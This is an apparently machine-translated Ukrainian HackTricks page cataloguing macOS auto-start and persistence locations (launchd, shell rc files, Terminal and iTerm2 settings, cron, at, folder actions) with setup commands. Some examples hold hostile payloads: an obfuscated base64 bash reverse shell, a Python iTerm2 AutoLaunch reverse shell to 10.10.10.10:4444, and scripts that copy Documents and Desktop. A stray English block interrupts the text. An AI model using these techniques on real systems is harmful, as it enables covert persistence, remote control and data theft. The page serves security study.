macOS Auto Start

Підтримайте HackTricks

Цей розділ сильно ґрунтується на серії блогів Beyond the good ol' LaunchAgents, мета - додати більше місць автозапуску (якщо це можливо), вказати які техніки все ще працюють в наш час з останньою версією macOS (13.4) та уточнити необхідні дозволи.

Обхід пісочниці

Тут ви можете знайти місця автозапуску, корисні для обхіду пісочниці, що дозволяють вам просто виконати щось, записавши це в файл та чекаючи на дуже загальну дію, визначений час або дію, яку ви зазвичай можете виконати зсередини пісочниці без необхідності кореневих дозволів.

Launchd

  • Корисно для обходу пісочниці:

  • Обхід TCC: 🔴

Місця

  • /Library/LaunchAgents

  • Тригер: Перезавантаження

  • Потрібен корінь

  • /Library/LaunchDaemons

  • Тригер: Перезавантаження

  • Потрібен корінь

  • /System/Library/LaunchAgents

  • Тригер: Перезавантаження

  • Потрібен корінь

  • /System/Library/LaunchDaemons

  • Тригер: Перезавантаження

  • Потрібен корінь

  • ~/Library/LaunchAgents

  • Тригер: Перезаходження

  • ~/Library/LaunchDemons

  • Тригер: Перезаходження

Як цікавий факт, launchd має вбудований список властивостей у розділі Mach-o __Text.__config, який містить інші добре відомі служби, які повинен запустити launchd. Крім того, ці служби можуть містити RequireSuccess, RequireRun та RebootOnSuccess, що означає, що вони повинні бути запущені та успішно завершені.

Звісно, його не можна змінювати через підписання коду.

Опис та Експлуатація

launchd - це перший процес, який виконується ядром ОС macOS при запуску та останній, що завершується при вимкненні. Він завжди повинен мати PID 1. Цей процес буде читати та виконувати конфігурації, вказані в ASEP plist у:

  • /Library/LaunchAgents: Агенти для користувача, встановлені адміністратором

  • /Library/LaunchDaemons: Демони для всієї системи, встановлені адміністратором

  • /System/Library/LaunchAgents: Агенти для користувача, надані Apple.

  • /System/Library/LaunchDaemons: Демони для всієї системи, надані Apple.

Коли користувач увійшов у систему, plist-файли, розташовані в /Users/$USER/Library/LaunchAgents та /Users/$USER/Library/LaunchDemons, запускаються з правами ввійшовших користувачів.

Основна різниця між агентами та демонами полягає в тому, що агенти завантажуються при вході користувача, а демони завантажуються при запуску системи (оскільки є служби, такі як ssh, які потрібно виконати до того, як будь-який користувач отримає доступ до системи). Крім того, агенти можуть використовувати GUI, тоді як демони повинні працювати в фоновому режимі.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Є випадки, коли агент потрібно виконати до входу користувача, їх називають PreLoginAgents. Наприклад, це корисно для надання технологій допомоги при вході. Їх також можна знайти в /Library/LaunchAgents (див. тут приклад).

Нові файли конфігурації Демонів або Агентів будуть завантажені після наступного перезавантаження або за допомогою launchctl load <target.plist>. Також можна завантажити файли .plist без цього розширення за допомогою launchctl -F <file> (проте ці файли plist не будуть автоматично завантажені після перезавантаження). Також можливо відвантажити за допомогою launchctl unload <target.plist> (процес, на який він вказує, буде завершено),

Щоб забезпечити, що нічого (наприклад, перевизначення) не перешкоджає виконанню Агента або Демона, виконайте: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist

Перелічити всі агенти та демони, завантажені поточним користувачем:

launchctl list

Якщо plist належить користувачеві, навіть якщо він знаходиться в системних папках демонів, завдання буде виконано як користувач, а не як root. Це може запобігти деяким атакам на підвищення привілеїв.

Додаткова інформація про launchd

launchd - це перший процес режиму користувача, який запускається з ядра. Запуск процесу повинен бути успішним, і він не може завершитися або впасти. Він навіть захищений від деяких сигналів завершення.

Одним з перших завдань launchd буде запускати всі демони, такі як:

  • Демони таймерів на основі часу для виконання:

    • atd (com.apple.atrun.plist): має StartInterval 30 хвилин

    • crond (com.apple.systemstats.daily.plist): має StartCalendarInterval для запуску о 00:15

  • Мережеві демони, наприклад:

    • org.cups.cups-lpd: прослуховує TCP (SockType: stream) з SockServiceName: printer

    • com.apple.xscertd.plist: прослуховує TCP на порту 1640

  • Демони шляхів, які виконуються при зміні вказаного шляху:

    • com.apple.postfix.master: перевірка шляху /etc/postfix/aliases

  • Демони сповіщень IOKit:

    • com.apple.xartstorageremoted: "com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...

  • Mach порт:

    • com.apple.xscertd-helper.plist: вказує в записі MachServices ім'я com.apple.xscertd.helper

  • UserEventAgent:

    • Це відрізняється від попереднього. Воно змушує launchd створювати додатки у відповідь на певну подію. Однак у цьому випадку головний бінарний файл не launchd, а /usr/libexec/UserEventAgent. Він завантажує плагіни з обмеженої SIP папки /System/Library/UserEventPlugins/, де кожен плагін вказує свій ініціалізатор у ключі XPCEventModuleInitializer або, у випадку старих плагінів, у словнику CFPluginFactories під ключем FB86416D-6164-2070-726F-70735C216EC0 його Info.plist.

Файли запуску оболонки

Опис: https://theevilbit.github.io/beyond/beyond_0001/ Опис (xterm): https://theevilbit.github.io/beyond/beyond_0018/

  • Корисно для обходу пісочниці:

  • Обхід TCC:

  • Але вам потрібно знайти додаток з обходом TCC, який виконує оболонку, що завантажує ці файли

Місця розташування

  • ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile

    • Спрацьовує: Відкрити термінал з zsh

  • /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin

    • Спрацьовує: Відкрити термінал з zsh

    • Потрібен root

  • ~/.zlogout

    • Спрацьовує: Вийти з терміналу з zsh

  • /etc/zlogout

    • Спрацьовує: Вийти з терміналу з zsh

    • Потрібен root

  • Можливо, більше в: man zsh

  • ~/.bashrc

    • Спрацьовує: Відкрити термінал з bash

  • /etc/profile (не працювало)

  • ~/.profile (не працювало)

  • ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/

    • Спрацьовує: Очікується спрацювання з xterm, але він не встановлений, і навіть після встановлення видається помилка: xterm: DISPLAY is not set

Опис та експлуатація

При ініціалізації середовища оболонки, такої як zsh або bash, запускаються певні файли запуску. В macOS наразі використовується /bin/zsh як оболонка за замовчуванням. Ця оболонка автоматично доступна при запуску додатка Термінал або при доступі до пристрою через SSH. Хоча bash та sh також присутні в macOS, їх потрібно явно викликати для використання.

Сторінка man для zsh, яку ми можемо прочитати за допомогою man zsh, містить довгий опис файлів запуску.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Відкриті програми

Налаштування вказаної експлуатації та виxід та вхід або навіть перезавантаження не працювали для мене для виконання програми. (Програма не виконувалася, можливо, вона повинна бути запущена, коли виконуються ці дії)

Опис: https://theevilbit.github.io/beyond/beyond_0021/

  • Корисно для обхіду пісочниці:

  • Обхід TCC: 🔴

Місцезнаходження

  • ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

  • Тригер: Перезапуск відкриття програм

Опис та Експлуатація

Усі програми для повторного відкриття знаходяться всередині plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Таким чином, щоб зробити відкриття програм запуск вашої власної, вам просто потрібно додати вашу програму до списку.

UUID можна знайти, перераховуючи цю директорію або за допомогою ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Щоб перевірити програми, які будуть відкриті, ви можете виконати:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Для додавання програми до цього списку можна скористатися:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Налаштування терміналу

  • Корисно для обхідної пісочниці:

  • Обхід TCC:

  • Термінал використовує дозволи FDA користувача, який його використовує

Місце

  • ~/Library/Preferences/com.apple.Terminal.plist

  • Тригер: Відкриття терміналу

Опис та експлуатація

У ~/Library/Preferences зберігаються налаштування користувача в додатках. Деякі з цих налаштувань можуть містити конфігурацію для виконання інших додатків/скриптів.

Наприклад, термінал може виконати команду при запуску:

Ця конфігурація відображена у файлі ~/Library/Preferences/com.apple.Terminal.plist наступним чином:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Отже, якщо plist установок терміналу в системі може бути перезаписаний, то функціонал open може бути використаний для відкриття терміналу та виконання цієї команди.

Ви можете додати це з командного рядка за допомогою:

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

Термінальні скрипти / Інші розширення файлів

  • Корисно для обхідної пісочниці:

  • Обхід TCC:

  • Використання терміналу для отримання прав FDA користувача

Місце розташування

  • Будь-де

  • Тригер: Відкриття терміналу

Опис та Використання

Якщо ви створите .terminal скрипт та відкриєте його, програма Terminal буде автоматично запущена для виконання команд, вказаних у ньому. Якщо додатку Terminal надані деякі спеціальні привілеї (наприклад, TCC), ваша команда буде виконана з цими спеціальними привілеями.

Спробуйте це:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Ви також можете використовувати розширення .command, .tool, зі звичайним вмістом оболонки shell, і вони також будуть відкриватися за допомогою Терміналу.

Якщо термінал має Повний доступ до диска, він зможе завершити цю дію (зверніть увагу, що виконана команда буде видима в вікні терміналу).

Аудіо-плагіни

Опис: https://theevilbit.github.io/beyond/beyond_0013/ Опис: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

  • Корисно для обходу пісочниці:

  • Обхід TCC: 🟠

  • Можливо отримати додатковий доступ TCC

Місцезнаходження

  • /Library/Audio/Plug-Ins/HAL

  • Потрібні права адміністратора

  • Тригер: Перезапустіть coreaudiod або комп'ютер

  • /Library/Audio/Plug-ins/Components

  • Потрібні права адміністратора

  • Тригер: Перезапустіть coreaudiod або комп'ютер

  • ~/Library/Audio/Plug-ins/Components

  • Тригер: Перезапустіть coreaudiod або комп'ютер

  • /System/Library/Components

  • Потрібні права адміністратора

  • Тригер: Перезапустіть coreaudiod або комп'ютер

Опис

Згідно з попередніми описами, можна скомпілювати деякі аудіо-плагіни та завантажити їх.

Плагіни QuickLook

Опис: https://theevilbit.github.io/beyond/beyond_0028/

  • Корисно для обходу пісочниці:

  • Обхід TCC: 🟠

  • Можливо отримати додатковий доступ TCC

Місцезнаходження

  • /System/Library/QuickLook

  • /Library/QuickLook

  • ~/Library/QuickLook

  • /Applications/AppNameHere/Contents/Library/QuickLook/

  • ~/Applications/AppNameHere/Contents/Library/QuickLook/

Опис та Використання

Плагіни QuickLook можуть бути виконані, коли ви запускаєте попередній перегляд файлу (натисніть пробіл з вибраним файлом у Finder) і встановлений плагін, що підтримує цей тип файлу.

Можливо скомпілювати власний плагін QuickLook, розмістити його в одному з попередніх місць для завантаження і потім перейти до підтримуваного файлу та натиснути пробіл для його запуску.

Гачки входу/виходу

Це не працювало для мене, ні з LoginHook користувача, ні з LogoutHook root

Опис: https://theevilbit.github.io/beyond/beyond_0022/

  • Корисно для обходу пісочниці:

  • Обхід TCC: 🔴

Місцезнаходження

  • Вам потрібно мати можливість виконати щось на зразок defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh

  • Розташовано в ~/Library/Preferences/com.apple.loginwindow.plist

Вони застарілі, але можуть бути використані для виконання команд при вході користувача.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Цей параметр зберігається в /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Щоб видалити це:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

Користувач root зберігається в /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Умовне ухилення від пісочниці

Тут ви можете знайти місця запуску, корисні для ухилення від пісочниці, що дозволяє вам просто виконати щось, записавши це в файл, та очікувати не дуже поширених умов, таких як конкретні встановлені програми, "незвичайні" дії користувача або середовища.

Cron

Опис: https://theevilbit.github.io/beyond/beyond_0004/

  • Корисно для ухилення від пісочниці:

  • Однак вам потрібно мати можливість виконати бінарний файл crontab

  • Або бути root

  • Ухилення TCC: 🔴

Місце

  • /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/

  • Потрібен root для прямого запису. Root не потрібен, якщо ви можете виконати crontab <файл>

  • Спрацьовує: Залежить від завдання cron

Опис та Використання

Перелічте завдання cron поточного користувача за допомогою:

crontab -l

Ви також можете побачити всі cron-завдання користувачів у /usr/lib/cron/tabs/ та /var/at/tabs/ (потрібні права root).

У MacOS кілька папок, які виконують скрипти з певною частотою, можна знайти в:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Тут ви можете знайти звичайні cron завдання, at завдання (не дуже використовується) та періодичні завдання (головним чином використовується для очищення тимчасових файлів). Щоденні періодичні завдання можна виконати, наприклад, за допомогою команди: periodic daily.

Для додавання користувацького cron-завдання програмно можна використовувати:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Опис: https://theevilbit.github.io/beyond/beyond_0002/

  • Корисно для обходу пісочниці:

  • Обхід TCC:

  • iTerm2 використовується для надання дозволів TCC

Місця

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch

  • Тригер: Відкриття iTerm

  • ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt

  • Тригер: Відкриття iTerm

  • ~/Library/Preferences/com.googlecode.iterm2.plist

  • Тригер: Відкриття iTerm

Опис та Використання

Скрипти, збережені в ~/Library/Application Support/iTerm2/Scripts/AutoLaunch, будуть виконані. Наприклад:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run processes when a user logs in. They are located in ~/Library/LaunchAgents/ and /Library/LaunchAgents/.

Launch Daemons

Launch Daemons are used to run processes at system boot or login. They are located in /Library/LaunchDaemons/ and /System/Library/LaunchDaemons/.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

Скрипт ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt також буде виконаний:

do shell script "touch /tmp/iterm2-autolaunchscpt"

Файли налаштувань iTerm2 розташовані в ~/Library/Preferences/com.googlecode.iterm2.plist можуть вказувати команду для виконання при відкритті терміналу iTerm2.

Це налаштування можна сконфігурувати в налаштуваннях iTerm2:

І команда відображається в налаштуваннях:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Ви можете встановити команду для виконання за допомогою:

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

Висока ймовірність того, що існують інші способи зловживання налаштуваннями iTerm2 для виконання довільних команд.

xbar

Опис: https://theevilbit.github.io/beyond/beyond_0007/

  • Корисно для обхіду пісочниці:

  • Але xbar повинен бути встановлений

  • Обхід TCC:

  • Він запитує дозвіл на доступність

Місце розташування

  • ~/Library/Application\ Support/xbar/plugins/

  • Тригер: Після запуску xbar

Опис

Якщо встановлено популярну програму xbar, можна написати сценарій оболонки в ~/Library/Application\ Support/xbar/plugins/, який буде виконуватися при запуску xbar:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Опис: https://theevilbit.github.io/beyond/beyond_0008/

  • Корисно для обхіду пісочниці:

  • Але Hammerspoon повинен бути встановлений

  • Обхід TCC:

  • Він запитує дозвіл на доступність

Місце

  • ~/.hammerspoon/init.lua

  • Тригер: Після запуску Hammerspoon

Опис

Hammerspoon служить як платформа автоматизації для macOS, використовуючи мову сценаріїв LUA для своєї роботи. Зокрема, він підтримує інтеграцію повного коду AppleScript та виконання оболонкових сценаріїв, значно покращуючи свої можливості сценаріювання.

Додаток шукає один файл, ~/.hammerspoon/init.lua, і при запуску виконується сценарій.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

BetterTouchTool

  • Корисний для обходу пісочниці:

  • Але BetterTouchTool повинен бути встановлений

  • Обхід TCC:

  • Він запитує дозволи на автоматизацію скорочень та доступність

Місце розташування

  • ~/Library/Application Support/BetterTouchTool/*

Цей інструмент дозволяє вказати програми або скрипти для виконання, коли деякі скорочення натиснуті. Атакувальник може налаштувати своє власне скорочення та дію для виконання в базі даних, щоб виконати довільний код (скорочення може бути просто натисканням клавіші).

Alfred

  • Корисний для обходу пісочниці:

  • Але потрібно встановити Alfred

  • Обхід TCC:

  • Він запитує дозволи на автоматизацію, доступність та навіть повний доступ до диска

Місце розташування

  • ???

Це дозволяє створювати робочі процеси, які можуть виконувати код, коли виконуються певні умови. Потенційно атакувальник може створити файл робочого процесу і змусити Alfred завантажити його (потрібно оплатити преміальну версію для використання робочих процесів).

SSHRC

Опис: https://theevilbit.github.io/beyond/beyond_0006/

  • Корисний для обходу пісочниці:

  • Але потрібно включити та використовувати ssh

  • Обхід TCC:

  • SSH використовує доступ до повного диска

Місце розташування

  • ~/.ssh/rc

  • Тригер: Вхід через ssh

  • /etc/ssh/sshrc

  • Потрібні права адміністратора

  • Тригер: Вхід через ssh

Для включення ssh потрібен повний доступ до диска:

sudo systemsetup -setremotelogin on

Опис & Експлуатація

За замовчуванням, якщо PermitUserRC no в /etc/ssh/sshd_config, коли користувач входить через SSH, скрипти /etc/ssh/sshrc та ~/.ssh/rc будуть виконані.

Елементи входу

Опис: https://theevilbit.github.io/beyond/beyond_0003/

  • Корисно для обхіду пісочниці:

  • Але потрібно виконати osascript з аргументами

  • Обхід TCC: 🔴

Місця

  • ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

  • Спрацьовує: Вхід

  • Пейлоад експлойту зберігається за допомогою виклику osascript

  • /var/db/com.apple.xpc.launchd/loginitems.501.plist

  • Спрацьовує: Вхід

  • Потрібні права адміністратора

Опис

У "System Preferences" -> "Users & Groups" -> Елементи входу можна знайти елементи, які виконуються при вході користувача. Можливо перелічити їх, додавати та видаляти з командного рядка:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Ці елементи зберігаються в файлі ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Елементи входу також можуть бути вказані за допомогою API SMLoginItemSetEnabled, який збереже конфігурацію в /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP як елемент входу

(Перевірте попередній розділ про Елементи входу, це розширення)

Якщо ви збережете файл ZIP як Елемент входу, Archive Utility відкриє його, і якщо zip, наприклад, був збережений в ~/Library і містив папку LaunchAgents/file.plist з задніми дверима, ця папка буде створена (цього не відбувається за замовчуванням), а plist буде додано, щоб наступного разу, коли користувач знову увійде в систему, задні двері, вказані в plist, будуть виконані.

Іншою опцією буде створення файлів .bash_profile та .zshenv всередині домашнього каталогу користувача, тому якщо папка LaunchAgents вже існує, ця техніка все одно буде працювати.

At

Опис: https://theevilbit.github.io/beyond/beyond_0014/

  • Корисно для обхіду пісочниці:

  • Але вам потрібно виконати at і воно повинно бути увімкнено

  • Обхід TCC: 🔴

Місцезнаходження

  • Потрібно виконати at і воно повинно бути увімкнено

Опис

Завдання at призначені для планування одноразових завдань для виконання в певні часи. На відміну від робіт cron, завдання at автоматично видаляються після виконання. Важливо зауважити, що ці завдання є постійними після перезавантаження системи, що вказує на їх можливі проблеми з безпекою в певних умовах.

За замовчуванням вони вимкнені, але користувач root може увімкнути їх за допомогою:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Це створить файл через 1 годину:

echo "echo 11 > /tmp/at.txt" | at now+1

Перевірте чергу завдань за допомогою atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Вище ми бачимо дві заплановані задачі. Ми можемо вивести деталі задачі за допомогою at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

Якщо завдання AT не увімкнені, створені завдання не будуть виконані.

Файли завдань можна знайти за шляхом /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

Файл містить чергу, номер завдання та час його запуску. Наприклад, розглянемо a0001a019bdcd2.

  • a - це черга

  • 0001a - номер завдання у шістнадцятковій системі, 0x1a = 26

  • 019bdcd2 - час у шістнадцятковій системі. Він представляє хвилини, що минули з початку епохи. 0x019bdcd2 дорівнює 26991826 у десятковій системі. Якщо ми помножимо його на 60, отримаємо 1619509560, що відповідає GMT: 2021. Квітень 27., Вівторок 7:46:00.

Якщо ми виведемо файл завдання, ми побачимо, що він містить ту саму інформацію, яку ми отримали за допомогою at -c.

Дії з папками

Опис: https://theevilbit.github.io/beyond/beyond_0024/ Опис: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

  • Корисно для обхіду пісочниці:

  • Але вам потрібно мати можливість викликати osascript з аргументами для зв'язку з System Events для налаштування Дій з папками

  • Обхід TCC: 🟠

  • Є деякі базові дозволи TCC, такі як Робочий стіл, Документи та Завантаження

Місцезнаходження

  • /Library/Scripts/Folder Action Scripts

  • Потрібні права адміністратора

  • Тригер: Доступ до вказаної папки

  • ~/Library/Scripts/Folder Action Scripts

  • Тригер: Доступ до вказаної папки

Опис та Використання

Дії з папками - це скрипти, які автоматично викликаються змінами у папці, такими як додавання, видалення елементів або інші дії, такі як відкриття або зміна розміру вікна папки. Ці дії можуть бути використані для різних завдань і можуть бути викликані різними способами, такими як використання інтерфейсу Finder або команд терміналу.

Для налаштування Дій з папками у вас є такі варіанти:

  1. Створення робочого процесу Дій з папками за допомогою Automator та встановлення його як службу.

  2. Прикріплення скрипта вручну через Налаштування Дій з папками у контекстному меню папки.

  3. Використання OSAScript для відправлення повідомлень Apple Event до System Events.app для програмного налаштування Дій з папками.

  • Цей метод особливо корисний для вбудовання дії в систему, що надає рівень стійкості.

Наведений нижче скрипт є прикладом того, що може бути виконано за допомогою Дій з папками:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Щоб зробити вищезазначений скрипт придатним для дій папки, скомпілюйте його за допомогою:

osacompile -l JavaScript -o folder.scpt source.js

Після компіляції скрипту налаштуйте дії папки, виконавши наведений нижче скрипт. Цей скрипт увімкне дії папки глобально і конкретно прикріпить раніше скомпільований скрипт до папки Робочого столу.

// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

Виконайте налаштування скрипта за допомогою:

osascript -l JavaScript /Users/username/attach.scpt
  • Це спосіб реалізації цієї стійкості через GUI:

Це сценарій, який буде виконаний:

source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Скомпілюйте його за допомогою: osacompile -l JavaScript -o folder.scpt source.js

Перемістіть його до:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Потім відкрийте програму Folder Actions Setup, виберіть папку, яку ви хочете спостерігати, і виберіть у вашому випадку folder.scpt (у моєму випадку я назвав його output2.scp):

Тепер, якщо ви відкриєте цю папку за допомогою Finder, ваш скрипт буде виконаний.

Ця конфігурація була збережена в plist, розташованому в ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist у форматі base64.

Тепер спробуємо підготувати цю постійність без доступу до GUI:

  1. Скопіюйте ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist в /tmp, щоб зробити резервну копію:

  • cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp

  1. Видаліть Folder Actions, які ви щойно встановили:

Тепер, коли у нас порожня середовище

  1. Скопіюйте резервний файл: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/

  2. Відкрийте програму Folder Actions Setup.app, щоб використати цю конфігурацію: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

І це не спрацювало для мене, але це інструкції з опису :(

Ярлики Dock

Опис: https://theevilbit.github.io/beyond/beyond_0027/

  • Корисно для обхіду пісочниці:

  • Але вам потрібно встановити зловмисну програму всередині системи

  • Обхід TCC: 🔴

Місцезнаходження

  • ~/Library/Preferences/com.apple.dock.plist

  • Тригер: Коли користувач клікає на додаток у доку

Опис та Експлуатація

